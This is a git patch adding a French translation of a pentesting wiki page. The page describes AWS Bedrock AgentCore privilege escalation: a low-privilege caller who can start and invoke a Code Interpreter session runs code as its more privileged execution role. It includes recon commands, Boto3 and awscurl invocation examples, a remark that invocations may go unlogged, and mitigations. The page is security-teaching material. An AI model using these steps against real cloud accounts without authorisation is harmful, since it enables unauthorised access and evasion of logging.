From c3dd9403ab0608d3c3347c509fd7a024bc65dc89 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 12 Feb 2026 19:56:27 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ --- .../aws-bedrock-privesc/README.md | 113 ++++++++++++++++++ 1 file changed, 113 insertions(+) create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md new file mode 100644 index 000000000..8f9f7bb7a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md @@ -0,0 +1,113 @@ +# AWS - Bedrock PrivEsc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Amazon Bedrock AgentCore + +### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot + +AgentCore Code Interpreter est un environnement d'exécution géré. Les **Custom Code Interpreters** peuvent être configurés avec un **`executionRoleArn`** qui « fournit les permissions pour que le code interpreter accède aux services AWS ». + +Si un **IAM principal à moindre privilèges** peut **start + invoke** une session Code Interpreter configurée avec un **execution role** plus privilégié, l'appelant peut effectivement **pivot into the execution role’s permissions** (lateral movement / privilege escalation selon le périmètre du rôle). + +> [!NOTE] +> Ceci est typiquement un problème de **misconfiguration / excessive permissions** (accorder de larges permissions au interpreter execution role et/ou accorder un accès broad invoke). +> AWS met explicitement en garde pour éviter le privilege escalation en s'assurant que les execution roles ont des privilèges **égaux ou inférieurs** aux identités autorisées à invoquer. + +#### Préconditions (misconfiguration courante) + +- Un **custom code interpreter** existe avec un **execution role** excessivement privilégié (ex: accès à des S3/Secrets/SSM sensibles ou des capacités de type IAM-admin). +- Un utilisateur (développeur/auditeur/identité CI) dispose des permissions pour : + - démarrer des sessions : `bedrock-agentcore:StartCodeInterpreterSession` + - invoquer des outils : `bedrock-agentcore:InvokeCodeInterpreter` +- (Optionnel) L'utilisateur peut aussi créer des interpreters : `bedrock-agentcore:CreateCodeInterpreter` (ce qui lui permet de créer un nouvel interpreter configuré avec un execution role, selon les org guardrails). + +#### Recon (identifier les custom interpreters et l'utilisation des execution roles) + +Lister les interpreters (control-plane) et inspecter leur configuration: +```bash +aws bedrock-agentcore-control list-code-interpreters +aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id +```` +> La commande create-code-interpreter prend en charge `--execution-role-arn` qui définit quelles autorisations AWS l'interpréteur aura. + +#### Étape 1 - Démarrer une session (cela renvoie un `sessionId`, pas un shell interactif) +```bash +SESSION_ID=$( +aws bedrock-agentcore start-code-interpreter-session \ +--code-interpreter-identifier \ +--name "arte-oussama" \ +--query sessionId \ +--output text +) + +echo "SessionId: $SESSION_ID" +``` +#### Étape 2 - Lancer l'exécution de code (Boto3 ou HTTPS signé) + +Il n'y a **pas de shell python interactif** provenant de `start-code-interpreter-session`. L'exécution se fait via **InvokeCodeInterpreter**. + +**Option A - Exemple Boto3 (exécuter Python + vérifier l'identité):** +```python +import boto3 + +client = boto3.client("bedrock-agentcore", region_name="") + +# Execute python inside the Code Interpreter session +resp = client.invoke_code_interpreter( +codeInterpreterIdentifier="", +sessionId="", +name="executeCode", +arguments={ +"language": "python", +"code": "import boto3; print(boto3.client('sts').get_caller_identity())" +} +) + +# Response is streamed; print events for visibility +for event in resp.get("stream", []): +print(event) +``` +Si l'interpréteur est configuré avec un rôle d'exécution, la sortie de `sts:GetCallerIdentity()` doit refléter l'identité de ce rôle (et non celle de l'appelant à faible privilège), démontrant ainsi le pivot. + +**Option B - Appel HTTPS signé (awscurl):** +```bash +awscurl -X POST \ +"https://bedrock-agentcore..amazonaws.com/code-interpreters//tools/invoke" \ +-H "Content-Type: application/json" \ +-H "Accept: application/json" \ +-H "x-amzn-code-interpreter-session-id: " \ +--service bedrock-agentcore \ +--region \ +-d '{ +"name": "executeCode", +"arguments": { +"language": "python", +"code": "print(\"Hello from AgentCore\")" +} +}' +``` +#### Impact + +* **Lateral movement** vers tout accès AWS dont dispose le rôle d'exécution de l'interpréteur. +* **Privilege escalation** si le rôle d'exécution de l'interpréteur a plus de privilèges que l'appelant. +* Détection plus difficile si les CloudTrail data events pour les invocations de l'interpréteur ne sont pas activés (les invocations peuvent ne pas être enregistrées par défaut, selon la configuration). + +#### Mitigations / Hardening + +* **Least privilege** sur le `executionRoleArn` de l'interpréteur (traitez-le comme les rôles d'exécution Lambda / les rôles CI). +* **Restreindre qui peut invoquer** (`bedrock-agentcore:InvokeCodeInterpreter`) et qui peut démarrer des sessions. +* Utiliser **SCPs** pour refuser InvokeCodeInterpreter sauf pour les rôles d'exécution agent approuvés (une application au niveau de l'organisation peut être nécessaire). +* Activer les **CloudTrail data events** appropriés pour AgentCore lorsque cela s'applique ; alerter sur les invocations inattendues et la création de sessions. + +## References + +- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/) +- [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/) +- [AWS CLI: create-code-interpreter (`--execution-role-arn`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore-control/create-code-interpreter.html) +- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html) +- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html) +- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html) + + +{{#include ../../../../banners/hacktricks-training.md}}